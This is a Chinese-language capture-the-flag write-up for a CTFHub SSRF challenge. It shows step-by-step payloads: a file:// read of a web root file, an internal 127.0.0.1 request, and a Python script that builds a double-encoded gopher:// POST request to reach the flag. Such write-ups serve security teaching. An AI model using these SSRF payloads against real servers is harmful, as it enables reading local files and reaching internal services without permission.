CTFHUB-SSRF-POST请求

通过file协议访问flag.php文件内容

复制代码
?url=file:///var/www/html/flag.php

右键查看页面源代码

需要从内部携带key发送post数据包即可获得flag

复制代码
?url=http://127.0.0.1/flag.php

得到了key

构造POST请求数据包,进行url编码(新建一个txt文件,输入以下内容保存,修改为python文件,重命名为gopher.py

python 复制代码
# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d554812847363980d21b2b1b87733501
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

在命令行窗口执行

复制代码
python gopher.py

通过Gopher协议发送请求,得到了flag

复制代码
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dd554812847363980d21b2b1b87733501%250D%250A
相关推荐
0xBADCODE5 小时前
CTF Writeup 合集
安全·web安全·网络安全·系统安全·密码学·php·ctf
SHIAIMING16 小时前
GTC泽汇:“美股反弹动能逐步回升”
经验分享·金融
数据知道7 小时前
恶意软件分析实验室搭建——沙箱、快照、网络隔离
网络·安全·web安全·网络安全
裕晟专利申请刘老师7 小时前
专利代理机构怎么查正不正规,5步验证清单
经验分享
Lust Dusk9 小时前
【最新】VMware虚拟机下载安装教程
网络·网络安全·系统安全
STQY燊桐启元(深圳)电子科技10 小时前
太阳能追踪设备散热优化,相变陶瓷片解决全日照高温积温故障
经验分享·笔记·pcm
虹科数字化与AR10 小时前
如何整合BIM、IoT与实时数据构建数字孪生?
经验分享
SHIAIMING110 小时前
GTCFX:比特币逼空后观察资金结构
经验分享·金融
启芯硬件11 小时前
《硬件电路设计实战100例》专栏核心信息,定位及设计案例分享
人工智能·经验分享·嵌入式硬件·硬件工程·高速仿真
马立杰11 小时前
IE241209_路由安全技术(三层安全)
安全·网络安全